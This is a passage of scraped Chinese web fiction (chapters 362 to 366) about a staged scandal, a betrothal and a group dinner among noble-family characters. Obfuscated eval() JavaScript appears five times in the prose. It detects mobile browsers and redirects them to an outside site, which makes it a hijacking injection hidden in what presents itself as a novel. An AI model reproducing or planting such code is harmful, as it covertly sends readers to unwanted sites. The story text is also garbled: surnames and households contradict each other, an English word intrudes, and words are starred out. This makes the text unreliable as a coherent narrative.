更何况,晏玥玥今日这般反常,定是有什么事。 既如此,倒不如出去看看,她究竟想做什么。 “好吧。” 晏清萦轻轻点了点头。 “不过,我可没什么银子,你要是想买什么东西,可别指望我。” “哎呀,放心啦,我怎么会让你花钱呢?” 晏玥玥笑得眉眼弯弯。 她就知道,晏清萦不会拒绝她的。 两人出了门,晏玥玥一路叽叽喳喳地说个不停。 晏清萦只是安静地听着,偶尔应上一两句。 “三姐姐,你看那件衣裳怎么样?” 晏玥玥指着一家成衣铺里的一件襦裙问道。 “挺好看的。” 晏清萦顺着她手指的方向看了一眼,淡淡地评价道。 “那咱们进去看看吧。” 晏玥玥拉着晏清萦就进了铺子。 “掌柜的,把那件衣裳拿下来给我们看看。” 晏玥玥指着那件襦裙说道。 掌柜的应了一声,麻利地将衣裳取了下来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702597|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “三姐姐,你快试试。” 晏玥玥将衣裳往晏清萦身上比划着。 “这颜色多衬你呀,穿上一定好看。” 晏清萦本想拒绝,但看着晏玥玥那兴奋的模样,只得接过了衣裳。 “那我去试试。” 晏清萦拿着衣裳进了试衣间。 片刻后,她换好衣裳走了出来。 “怎么样?好看吧?” 晏玥玥围着晏清萦转了一圈,连连点头。 “我就说嘛,这件衣裳简直就是为你量身定做的。” “掌柜的,这件衣裳多少钱?” 晏玥玥问掌柜的。 “二两银子。” 掌柜的笑眯眯地说道。 “这么贵?” 晏玥玥皱了皱眉。 “掌柜的,你这价钱也太高了吧,能不能便宜点?” “哎呦,这位小姐,这可是上好的料子,二两银子真不贵了。” 掌柜的摇了摇头。 “您要是诚心要,我给您抹个零头,一两八钱,怎么样?” 晏玥玥还想再还价,晏清萦却开口了。 “不用了,就二两银子吧。” 她不想为了这点小事跟掌柜的讨价还价。 “三姐姐……” 晏玥玥有些不情愿。 “就这么定了。” 晏清萦从怀里掏出二两银子递给掌柜的。 “掌柜的,这件衣裳我们要了。” 掌柜的接过银子,喜笑颜开。 “好嘞,我给您包起来。” 晏玥玥见晏清萦已经付了钱,也不好再说什么。 两人出了成衣铺,晏玥玥提议去醉月楼喝茶。 晏清萦本不想去,但转念一想,或许晏玥玥会在那里露出马脚,便答应了。 醉月楼,雅间内。 晏玥玥点了壶茶,又要了几样点心。 “三姐姐,你尝尝这个,这是醉月楼的招牌点心,可好吃了。” 晏玥玥夹起一块点心递给晏清萦。 晏清萦看着那块点心,犹豫了一下,还是接过来咬了一口。 “嗯,味道不错。” 晏清萦淡淡地评价道。 “是吧?我就说你一定会喜欢的。” 晏玥玥得意地笑了笑。 “三姐姐,你平日里也别总是闷在家里,多出来走走,见识见识外面的世界。” “外面的世界?” 晏清萦挑了挑眉。 “是啊,外面的世界可精彩了。 第三百六十二章 ” 晏玥玥兴致勃勃地说着。 “有各种各样的好吃的、好玩的,还有很多有趣的人……” 晏清萦静静地听着,没有说话。 她知道,晏玥玥说的这些,对她来说,都太遥远了。 “三姐姐,你看我这记性!” 晏玥玥突然一拍脑袋, “我把香囊落在马车上了!这可是我亲手做的,不能丢了!” 说着,急匆匆起身。 “三姐姐你在这儿等我,我马上回来!” 说完,也不等晏清萦回应,一阵风似的跑了。 随行的丫鬟、护卫也都被她支使得团团转,一个也没留下。 晏清萦看着晏玥玥离去的背影,眉头微蹙。 她就知道,晏玥玥今日定有古怪。 只是,她究竟想做什么呢? 晏清萦正思索着,突然,一阵喧闹声从楼下传来。 “不好了!马惊了!” “快闪开!” 晏清萦心头一惊,连忙起身走到窗边。 只见楼下的大街上,一匹受惊的马正横冲直撞,行人纷纷躲避。 晏清萦脸色微变。 这场景,似曾相识…… 她正出神,突然,一个声音在她身后响起。 “姑娘小心!” 紧接着,一只手揽住了她的腰,将她带离了窗边。 晏清萦还没反应过来,就撞进了一个陌生的怀抱。 她惊慌失措地抬头,只见一个年轻男子正低头看着她,眼中满是关切。 “姑娘,你没事吧?” 男子问道。 “我……我没事。” 晏清萦连忙挣脱男子的怀抱,退后几步。 “多谢公子相救。” 她定了定神,向男子道谢。 “举手之劳,姑娘不必客气。” 男子微微一笑。 “三姐姐!你……你们……” 一个尖锐的声音突然响起。 晏玥玥不知何时回来了,正站在门口,瞪大了眼睛看着他们。 她的声音,吸引了所有人的注意。 众人的目光,齐刷刷地落在了晏清萦和那名男子身上。 晏清萦脸色瞬间煞白。 她知道,这下,跳进黄河也洗不清了。 “误会……这都是误会……” 她慌乱地解释着,声音颤抖得厉害。 “误会?光天化日,孤男寡女,搂搂抱抱……” “三姐姐,你可是苏府的姑娘,怎么能做出这等有辱门风的事!” 晏玥玥疾言厉色,一番话,如同惊雷。 晏清萦的身份,就此暴露。 所有人都知道了,苏府的三姑娘,当街与陌生男子搂抱,有辱门风! 那一刻,晏清萦只觉得天旋地转,眼前一片黑暗。晏玥玥死死盯着晏清萦,目光像淬了毒的针,恨不得在她身上戳出几个窟窿。 晏清萦咬紧下唇,嘴唇蠕动了几下,却最终没发出声音。 说什么? 还能说什么? 辩解有用吗? 她太了解钱雅芝了,那个女人表面和善,骨子里却比毒蛇还阴狠。 眼下这情形,不正好给了钱雅芝一个绝佳的把柄? 呵,她指不定正躲在哪儿偷着乐呢! 晏清萦的心一点点往下沉,像坠入了不见底的冰窟窿。 她甚至开始怀疑…… 晏清萦猛地转头,目光如刀,直直刺向晏玥玥那张伪善的面孔。 今天这一出,该不会是她们早就串通好的吧? 一个做红脸,一个做白脸,配合得倒是天衣无缝! “三姐姐,你怎么不说话呀!” 晏玥玥故作关切地摇了摇头,那副痛心疾首的模样,虚伪得让人作呕。 “明白这不过是个插曲,可外人不会这么想啊!” 说着,她又狠狠剜了一眼立在一旁的白衣青年。 “都怪你!没事你拽着我家三姐姐做什么?这下好了,出了这么大的丑,让我们庄家的脸往哪儿搁!” 她尖着嗓子,声音像一把生锈的锯子,拉扯着晏清萦紧绷的神经,火上浇油。 晏清萦紧紧攥着手心,指甲深深掐进肉里,几乎要掐出血来。 她强忍着胸中翻涌的怒火,面无表情地开口,声音冷得像冰。 “身正不怕影子斜,我没什么好解释的。” 说完,她缓缓转向身边的白衣公子,微微屈膝行了一礼。 “多谢公子方才出手相救,妙菱没齿难忘。” 声音很轻,却带着一丝不易察觉的颤抖。 “三姐姐,你真是糊涂到家了!” 晏玥玥跺了跺脚,一把扯住她的袖子,恨铁不成钢。 “这货让你变得如此狼狈,你还谢他?你的脑子是不是进水了!” 晏清萦再也忍无可忍。 她猛地甩开晏玥玥的手,眼底一片冰冷。 她真想撕破晏玥玥那张虚伪的面具,看她还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702598|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么装模作样! 可她不能。 至少,现在还不能…… “姑娘,此事……是在下鲁莽了。” 出乎意料的,那白衣公子竟朝晏清萦深深一揖,打断了她的思绪。 他的眼神清澈,语气诚恳。 “当时情况危急,见姑娘险些被惊马所伤,在下一心只想救人,没有顾及那么多。” 他顿了顿,语气变得有些低沉。 “实不相瞒,在下对姑娘一见倾心,只是苦于没有机会相识。今日之事,虽非在下本意,却也算天赐良机……” 晏清萦愣住了。 一见倾心? 这……这怎么可能? 她还没来得及反应,就听见晏玥玥拔高了嗓门,语气尖酸刻薄。 “癞**想吃天鹅肉!也不撒泡尿照照自己什么德行!我家三姐姐可是苏府的千金,是你这种人能肖想的吗?” 晏清萦心头一颤,烦躁感更甚。 她用力拽了一把晏玥玥。 “闭嘴!跟我走!” 她现在只想逃离这里,至于对方说的那些话…… 谁知道是真是假? 她自嘲地勾了勾嘴角。 头上有钱雅芝压着,庄家的人又都钻进了钱眼里,怎么会让她随随便便嫁人? 说不定,还不如直接让她**干净,至少还能保住庄家的名声。 “我爹在户部当差,不知可有资格,求娶三姑娘?” 白衣公子似乎早就料到她会这么想,不慌不忙地开口,声音温和,却带着不容置疑的力量。 晏清萦猛地顿住脚步,只觉得心头一阵乱跳。 户部员外郎…… 那可不是个小官职! 晏玥玥显然也有些意外,她瞪大了眼睛,脱口而出。 “你……你是李云霆?那个……今年新科的探花郎?” “正是在下。” 李云霆微微颔首,从腰间解下一块玉佩,递给晏清萦。 “此玉佩乃柳家祖传之物,今日赠予姑娘,以表诚意。” 晏清萦没有接。 她垂下眼睑,长长的睫毛遮住了眼底的复杂情绪。 天上掉馅饼? 这种好事怎么会轮到她头上? 见她迟迟不接,李云霆也不恼,只是静静地holding着玉佩,耐心地等待着。 气氛一时有些凝滞。 晏清萦深吸一口气,只觉得胸口闷得发慌。 她想彻底划清界限。 第三百六十三章 “我们走。” 她冷冷地扫了晏玥玥一眼,转身就走。 她看着就跟纸片人似的,仿佛风一吹就倒,但此刻,她却爆发出惊人的力量,硬生生拽着晏玥玥离开了。 李云霆看着她决绝的背影,目光深邃。 他将玉佩缓缓收回,嘴角微微勾起一抹意味深长的笑。 回到苏府,晏清萦把自己关在房间里,谁也不见。 她像一只受伤的小兽,独自躲在角落里舔舐伤口,试图平复纷乱的思绪。 直到夜幕降临,有人来传话,让她去前厅。 “三姑娘,老夫人请您过去一趟,还特意嘱咐,让您务必梳洗打扮一番,切莫失了礼数。” 传话的丫鬟语气恭敬,却掩饰不住眼底的好奇。 晏清萦心中了然。 她缓缓起身,走到梳妆台前,看着镜中那张略显苍白的脸,苦涩地笑了笑。 看来,该来的,终究还是躲不过。 她细细地梳洗打扮了一番,换上一件颜色素净的衣裙,尽量让自己看起来精神些。 走到前厅,不出所料,该在的人都在。 晏老夫人,晏明远,钱雅芝,还有……李云霆和一对看起来和蔼可亲的夫妇。 不用说,这肯定是他的父母。 晏清萦依次向晏老夫人、晏明远和钱雅芝行礼。 晏老夫人笑着介绍了柳家夫妇,她才又向他们行了晚辈礼。 至于李云霆,两人只是交换了一个眼神,勉强算是混个眼熟。 “阿萦啊,快过来,坐到武母身边来。” 晏老夫人笑眯眯地朝她招手,语气格外亲昵。 晏清萦依言走过去,在晏老夫人身旁的位置坐下,姿态恭顺。 “妙萦丫头,今日之事,我们都已经听说了。” 晏老夫人握着她的手,轻轻拍了拍,语气温和。 “你是个好孩子,受委屈了。不过,这也是你的福气。柳家可是难得的好人家,你和孙三公子的亲事,就这么定下了。” 晏清萦心中早有预料,脸上并没有露出太多的惊讶,只是低眉顺眼地应了一声,看不出喜怒。 晏老夫人对她的反应很满意,转头看向柳家夫妇。 “亲家,你们看,咱们阿萦是不是特别乖巧懂事?” “可不是嘛!” 李夫人满脸堆笑,上下打量着晏清萦,眼神中流露出毫不掩饰的喜爱。 “这孩子,真是越看越让人喜欢!要我说,这就是缘分!要不是霆儿今儿个英雄救美,我还不知道什么时候才能遇到这么好的儿媳妇呢!” “亲家母过奖了。” 钱雅芝也笑着附和,脸上带着几分得意。 “我们阿萦啊,从小就听话,又孝顺又懂事,将来一定是个好妻子,好儿媳。” “那是当然!” 李夫人连连点头。 “我们霆儿能娶到阿萦,那是他的福气!以后啊,你们就等着享清福吧!” “哎呦,瞧您说的,我们家阿萦能嫁到你们柳家,才是她的福气呢!以后还请亲家多多关照……” 钱雅芝和李夫人你一言我一语,互相吹捧着,气氛热烈而融洽。 晏清萦静静地坐在一旁,脸上挂着恰到好处的微笑,心里却一阵阵发冷。 她又不是傻子,怎么会听不出这些话里的虚情假意? 这些年,她听得最多的,就是别人说她命不好,是个苦命的孩子。 甚至还有算命的断言,她这辈子注定命运多舛,坎坷不断。 晏清萦紧紧攥着手中的帕子,指甲几乎要掐进肉里。 可那个算命的也说了,她命里有贵人相助,只要遇到贵人,就能逢凶化吉,时来运转。 她忍不住偷偷抬眼,看向坐在对面的李云霆。 这个即将成为她夫君的男人,真的会是她的贵人吗? 她不知道。 她只知道,自己的人生,似乎从这一刻起,彻底改变了。 就在这时,李云霆也抬起头来,两人的视线在空中短暂地交汇。 晏清萦只觉得心跳漏了一拍,她慌忙低下头,脸上泛起一抹淡淡的红晕,像是傍晚天边的晚霞。 李云霆看着她娇羞的模样,唇角微微勾起,露出一抹温润如玉的笑。“双喜临门?这词儿从赵氏嘴里说出来,怎么听怎么别扭。” 晏清澜端着茶盏,指尖轻轻刮着杯沿,发出细微的声响。宋溪溪刚带来的消息,像一颗石子投入湖中,在她心里激起层层涟漪——晏清萦和李云霆定亲了,婚期就在一个半月后,和晏芸清撞在了同一天。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16706659|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谁说不是呢,”宋溪溪对着铜镜比划一件石青色绣铃兰的对襟长衫,头也没回,“钱雅芝那女人,能把这门亲事给晏清萦?太阳打西边出来了?” 晏清澜将茶盏轻轻搁在桌上,目光落在宋溪溪身上,缓缓开口:“这世上的事,哪有那么多道理可讲。姻缘天定,或许……这就是命吧。” 她想起原书中的情节。晏清萦和李云霆,似乎也曾有过一段佳话。虽然中途因故生了嫌隙,但最终在各方周旋下,还是破镜重圆。 只是个中细节,晏清澜并不清楚。她那时更关心原主的命运,对于晏清萦这个角色的着墨,也只是匆匆一瞥。 不过,如今看来,即便许多事情已经偏离了原有的轨迹,但某些注定的缘分,似乎仍旧难以改变。 “命?我才不信什么命呢!”宋溪溪将长衫在身上比了比,又转了个圈,“不过,这柳家三公子,倒也算得上是个良配。至少……比某些道貌岸然的**子强多了。” 她这话,意有所指。 晏清澜自然听得出来,却只是笑了笑,没再接话。 宋溪溪选定了衣裳,两人便一同出了门。 谁知,刚走到街上,宋溪溪的肚子就开始“咕咕”叫唤。 “这不争气的东西,就知道吃!”她有些尴尬地捂住肚子,脸颊微微泛红。 晏清澜见状,忍俊不禁:“好啦,别骂它了。走,我带你去个地方。” 她没直接提碧霄楼,而是卖了个关子。 宋溪溪的好奇心被勾了起来:“去哪儿?” “去了你就知道了。”晏清澜眨了眨眼,故作神秘。 两人一路说笑,不知不觉间,便来到了一处热闹的所在。 宋溪溪抬头一看,只见一座高楼拔地而起,飞檐斗拱,气派非凡。门匾上龙飞凤舞地写着三个大字——碧霄楼。 “这……这不是京城最有名的火锅店吗?”宋溪溪惊呼出声。 她早就听说过碧霄楼的大名,却一直没机会来尝尝。 “没错,”晏清澜微微一笑,“今天,就让你尝尝这京城第一的古董羹。” 其实,这碧霄楼的东家,正是晏清澜。此事,宋溪溪也是回京后不久才知道的。不过,为了避免不必要的麻烦,几人一直都心照不宣,守口如瓶。 第三百六十四章 碧霄楼距离将军府并不算远。两人没坐马车,一路走过来,权当消食。 可谁知,刚到门口,就撞上了一群“熟人”。 童玄珏、姚澜、舒临风。 这三人,怎么会在这儿? 晏清澜心里一惊,下意识地就想拉着宋溪溪躲开。 可惜,已经晚了。 童玄珏那双似笑非笑的眼睛,已经牢牢地锁定了她。 “庄姑娘,真是人生何处不相逢啊。”他语气悠然,带着几分戏谑。 晏清澜只觉得头皮发麻,恨不得找个地缝钻进去。 “是……是挺巧的。”她干巴巴地笑了两声,眼神闪躲。 “巧?”童玄珏挑了挑眉,“我可不这么认为。我倒是觉得,这是‘缘分’。” 他故意加重了“缘分”二字的语气,听起来意味深长。 晏清澜:“……” 她现在只想装作不认识他。 “对了,庄姑娘,”童玄珏话锋一转,“你还记得,你欠我一顿饭吗?” 晏清澜:“……” 她就知道,这事儿没那么容易过去。 “咳,那个……”她正绞尽脑汁地想着该如何应对,却被姚澜打断了。 “等等,”姚澜笑眯眯地看向宋溪溪,“厉姑娘,你是不是也忘了什么事?” “啊?”宋溪溪一脸茫然,“我忘了什么?” “你再好好想想,”姚澜循循善诱,“中秋夜,你是不是答应过我什么?” “中秋夜……”宋溪溪歪着头,努力回忆着,“我好像……是说过要请你吃饭?” “没错!”姚澜打了个响指,“厉姑娘,你的记性真好!” 宋溪溪:“……” 她现在只想把自己的嘴给缝上。 童玄珏看着两人斗嘴,眼底闪过一丝笑意。他转头看向晏清澜,语气幽幽:“庄姑娘,现在,你总该想起来了吧?” 晏清澜:“……” 她已经放弃挣扎了。 --- 孙府内,气氛一片祥和。 李夫人正拉着晏清萦的手,嘘寒问暖,关怀备至。 “阿萦啊,你放心,我们云霆是个好孩子。他知书达理,温文尔雅,绝不会让你受半点委屈。” “我这辈子,最大的遗憾就是没能生个女儿。如今,你就要嫁进我们柳家了,我一定把你当亲生女儿一样疼爱。” 晏清萦低垂着眼帘,看不清神色。她只是轻轻地“嗯”了一声,算是回应。 钱雅芝站在一旁,看着这“婆媳情深”的一幕,心里五味杂陈。 她原本是想借着晏清萦的婚事,好好敲柳家一笔的。可如今看来,这柳家,似乎比她想象中还要精明。 不仅聘礼给的足,还对晏清萦百般呵护。这让她有一种“偷鸡不成蚀把米”的感觉。 “阿萦啊,你和云霆的婚期,就定在一个半月后。正好,和芸芸同一天。”钱雅芝试探着说道。 “一切但凭母亲做主。”晏清萦的声音,依旧轻柔。 “好,好,好!”钱雅芝连声称赞,“双喜临门,这可是咱们庄家天大的喜事!” 晏老夫人也在一旁附和:“是啊,阿萦,你放心,嫁妆的事,武母绝不会让你吃亏。” “你以后的日子,一定会越过越好,再也不用受苦了。” 晏清萦轻轻地靠在晏老夫人的肩头,像一只温顺的小猫。 她也希望,自己能苦尽甘来。 可是,每当想起李云霆,她的心里,总会涌起一股莫名的不安。 这种不安,让她感到彷徨,让她感到迷茫。 她不知道这种不安从何而来,只能默默地祈祷,希望一切都能如她所愿,希望……李云霆真的是她的良人。“阿清姐姐,你……你以前说过要请燕王殿下吃饭?” 宋溪溪瞪大了眼睛,一副“我听到了什么不得了的八卦”的表情。她紧紧盯着晏清澜,生怕错过她脸上任何一丝细微的表情变化。 要知道,她可是晏清澜的头号迷妹兼贴身小棉袄,自诩对自家姐姐的事情了如指掌。可如今,却突然冒出这么一档子事,她竟然毫不知情? 这简直……太让人震惊了! 宋溪溪感觉自己幼小的心灵受到了极大的冲击。 她脑海中“轰”的一声,仿佛有什么东西炸开了。 紧接着,无数个念头在她脑海中飞速闪过,各种猜测和脑补层出不穷。 她突然想起,之前在陆家小住时,童玄珏那句意有所指的“早就心悦阿清姐姐”。当时她还以为是这位燕王殿下口出狂言,故意调戏自家姐姐。 现在看来,事情似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16706660|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并没有那么简单。 还有! 晏清澜刚回京城那会儿,由于在保护皇上时立下大功,童玄珏可是大手一挥,直接送了满满几大箱子的奇珍异宝到浮萍居。 那时候,她还以为是这位“血判官”脑子抽风,想要借机生事,给晏清澜一个下马威呢。 可如今再回想起来,那哪里是找茬啊,分明就是……就是…… 宋溪溪绞尽脑汁,终于想到了一个合适的词——“献殷勤”! 没错,就是献殷勤! 这位权势滔天、杀伐果断的燕王殿下,竟然在对她家阿清姐姐献殷勤! 这个认知让宋溪溪兴奋得差点跳起来。 她觉得自己发现了一个惊天大秘密,一个足以让整个京城都为之震动的大八卦! “那个……童玄珏,这事儿……都过去这么久了,你还记得啊?” 晏清澜被童玄珏看得有些不自在,眼神闪躲,语气也有些不自然。 她总觉得,童玄珏看她的眼神,像是……像是要把她生吞活剥了一样。 这种感觉,让她有些心慌,还有些……莫名的紧张。 “溪溪,那个……其实,我就是随口一说,你别当真。” 晏清澜试图轻描淡写地将这件事揭过去,她可不想在这个节骨眼上,被宋溪溪刨根问底。 “随口一说?”宋溪溪显然不相信她的说辞,她眯起眼睛,一副“你休想骗我”的表情,“阿清姐姐,你可别想糊弄我。我还不了解你?你要是没那个意思,绝对不会轻易许诺的。” “嘤嘤嘤,阿清姐姐,你就承认了吧!你是不是早就对燕王殿下……”宋溪溪朝晏清澜挤眉弄眼,一副“我都懂”的表情。 晏清澜被她看得一阵心虚,连忙转移话题:“好啦好啦,溪溪,别八卦了。我承认,我承认还不行吗?我的确说过要请某人吃饭。” “嘿嘿,我就知道!”宋溪溪得意地笑了起来,她就知道,自家姐姐绝对不会无缘无故地对人这么好。 这两人之间,肯定有猫腻! 舒临风在一旁看着这姐妹俩的互动,心里那叫一个不是滋味。 他“唰”的一声打开折扇,轻轻摇晃着,看似漫不经心,实则每一个字都带着浓浓的酸味: “哎呀呀,真是羡慕啊,有人请客吃饭就是好。 第三百六十五章 不像我,孤家寡人一个,连个说要请我吃饭的人都没有。” 他顿了顿,又故作大方地说道: “不过没关系,本公子向来大度,最喜欢成人之美。既然二位姑娘都有约了,那不如……带我一个?” 这话说得,简直就是在明晃晃地挑衅了。 晏清澜和宋溪溪同时翻了个白眼。 宋溪溪更是毫不客气地怼了回去: “我说舒临风,你是不是有病啊?大冬天的摇扇子,你不怕把自己冻成冰棍儿?” “咳……咳咳……”舒临风被噎得不轻,他尴尬地咳嗽两声,强行挽尊,“这个嘛……风度,懂不懂?风度!” “风度?我看你是风湿还差不多!”宋溪溪毫不留情地吐槽。 “噗——” 姚澜在一旁没忍住,直接笑喷了出来。 他这一笑,立刻就吸引了舒临风的火力。 “姚澜,你笑什么笑?有什么好笑的?”舒临风怒目而视。 “没,没什么。”姚澜连忙收敛笑容,一本正经地说道,“我只是突然想起一件好笑的事情。” “溪溪,你之前不是说要请我吃饭吗?与其挑日子不如现在就干,就今天吧。”姚澜决定先下手为强。 童玄珏也不甘示弱,他直接开始胡编乱造: “不巧,碧霄楼今日客满。不过……”他话锋一转,“我记得,碧霄楼的东家好像说过,将军府的人,随时去都有位置。” 他摊开双手,做出一副“我也没办法”的表情: “所以,长乐郡主,今日只能麻烦你带我一起了。” 晏清澜:“……” 宋溪溪:“……” 这两个人,为了蹭饭,还真是无所不用其极啊! “我说,你们两个,其中一位是相府大少爷,一个是高高在上的燕王殿下,至于为了蹭一顿饭,这么……这么……”宋溪溪一时竟找不到合适的词来形容他们的行为。 “这么什么?”舒临风笑眯眯地接话,“这么平易近人?这么接地气?” “不,是这么厚颜无耻!”宋溪溪毫不客气地说道。 “哎呀,厉姑娘,话不能这么说嘛。”舒临风摇着扇子,笑得一脸灿烂,“大家都是朋友,朋友之间,互请吃饭,不是很正常吗?” 他转头看向晏清澜和宋溪溪,眨了眨他那双勾人的桃花眼: “二位姑娘,你们说,是不是?” “我……”晏清澜刚想开口拒绝,却被舒临风打断了。 “我知道,二位姑娘都是心胸宽广之人,一定不会介意多我一个蹭饭的,对吧?” 他这话,直接把晏清澜和宋溪溪的退路都给堵**。 “呵呵,童玄珏,姚澜,你们两个,不是一向自诩清高,不屑于与人为伍吗?怎么今天,也开始学人家蹭饭了?” 舒临风决定把事情闹大,他要让所有人都下不来台! “来来来,大家一起,谁都别想好过!” 于是,原本计划好的姐妹私房话,就这么变成了一场五人“鸿门宴”。 五个人围坐在一张桌子旁,面面相觑。 空气中弥漫着一股尴尬的气息。 “吃啊,你们怎么都不动筷子?”舒临风倒是没心没肺,他夹起一块肉,吃得津津有味。 “这肉不错,挺嫩的。你们尝尝。” 宋溪溪、晏清澜、姚澜、童玄珏:“……” 他们现在,只想把舒临风的嘴给堵上! 舒临风却像是完全没有察觉到他们的心思,他自顾自地吃着,还不停地招呼他们: “别客气啊,都动筷子。这家的菜,味道还是不错的。” 姚澜冷冷地看了舒临风一眼,眼神中带着警告。 但舒临风却像是完全没看见一样,继续我行我素。 “舒临风!”童玄珏终于忍无可忍,他放下筷子,语气冰冷,“你给我闭嘴!” “哎呀,燕王殿下,你这是恼羞成怒了吗?”舒临风笑得更欢了,“怎么,我说错了吗?你们不就是来蹭饭的吗?” 他转头看向宋溪溪,语气中带着几分挑拨: “厉姑娘,我跟你说,你真不该请姚澜这家伙吃饭。他这人,嘴刁得很,除了碧霄楼,其他地方的东西,他都看不上。” 桌子底下,姚澜狠狠地踹了舒临风一脚。 舒临风也毫不客气地回敬了他一脚。 “哦?是吗?”出乎舒临风意料的是,宋溪溪并没有生气,反而对姚澜的“挑食”产生了兴趣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16709935|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没想到,尹公子竟然如此……讲究。”宋溪溪斟酌着用词,尽量不让自己表现得太过八卦。 “其实,这也没什么。”姚澜笑了笑,说道,“我只是对食物的味道比较敏感而已。” 他突然像是想起了什么,看向宋溪溪: “厉姑娘,你方才说,你也能吃惯碧霄楼的菜?” “是啊。”宋溪溪点了点头,“京城里,也就碧霄楼的菜,能让我吃得下去。其他地方的……实在是难以下咽。” “这么说来,我们还真是……志同道合。”姚澜的眼中闪过一丝惊喜。 “可不是嘛!”宋溪溪也兴奋起来,“我跟你说,我最讨厌的就是醉月楼的菜,简直……简直就是黑暗料理!” “英雄所见略同!”姚澜深有同感地点了点头,“醉月楼的菜,我也吃不惯。” “还有那家……” “……” 两人你一言我一语,竟然就“哪家酒楼的菜最难吃”这个话题,展开了热烈的讨论。 舒临风:“……” 他感觉自己像个傻子一样,被晾在了一边。 说好的互相伤害呢? 怎么变成“美食”交流大会了?碧霄楼里,方才还剑拔**张的气氛,因着姚澜和宋溪溪对各家酒楼菜色的“深入交流”,奇迹般地缓和了下来。只苦了舒临风,觉得自己像个闪闪发光的大灯笼,照亮了别人的“惺惺相惜”,却更衬得自己形单影只。 从碧霄楼出来,几人正欲分别,却不想,晏清澜竟与晏景文撞了个正着。晏景文眼下乌青,面色憔悴,显然是连日来都没能睡个安稳觉。见到晏清澜,他眼中闪过一丝惊讶,随即快步上前,拦住了她的去路。 “阿清。”他声音低沉,带着几分疲惫,又隐隐透着几分急切,“我有话想跟你说,我们……能谈谈吗?” 晏清澜本想甩个冷脸给他,再赏他一句“哪儿凉快哪儿待着去”。可见他这副形容,不知怎的,话到嘴边又咽了回去。她不动声色地按住了身旁宋溪溪蠢蠢欲动的手,示意她稍安勿躁,这才抬眼看向晏景文,面无表情地“嗯”了一声,算是应允。 “前边有家‘雅韵茶馆’,环境还算雅致,去那儿吧。”她淡淡地开口,语气听不出喜怒。 第三百六十六章 说完,她又转头看向宋溪溪和童玄珏,给了他们一个“放心”的眼神。 晏景文没说什么,只是默默跟在她身后。 到了茶舍,两人寻了个雅间,相对而坐。 晏清澜也没心思跟他绕弯子,直接开门见山:“有话直说,我赶时间。” 晏景文被她这冷淡的态度刺了一下,原本就憔悴的脸色,更显苍白。他抬手揉了揉眉心,试图让自己看起来不那么狼狈。 “阿清,我知道你还在为过去的事生气,但……你能不能试着放下?我知道,从前是我们对不住你,可……” “晏景文,”晏清澜打断他,语气平静得近乎冷漠,“你今日来,就是为了跟我说这些陈年旧事?” 晏景文被她噎了一下,顿了顿,才又艰难地开口:“母亲病了,自从中秋那日后,就一直卧床不起,太医也瞧不出什么名堂,只说是心病。阿清,你去看看她,好不好?或许……你去了,她的病就能好起来。” 晏清澜听了这话,只觉得荒谬至极。她忍不住冷笑出声:“晏景文,你是觉得我长得像观音菩萨,还是觉得我有起死回生的本事?钱雅芝的病,你找我?” 她顿了顿,语气愈发嘲讽:“你可真是她的好儿子,为了她的病,竟能想到让我去看她。你就不怕我一个不高兴,直接送她归西?” 晏景文的脸色一阵青一阵白,嘴唇翕动了几下,却没能说出话来。 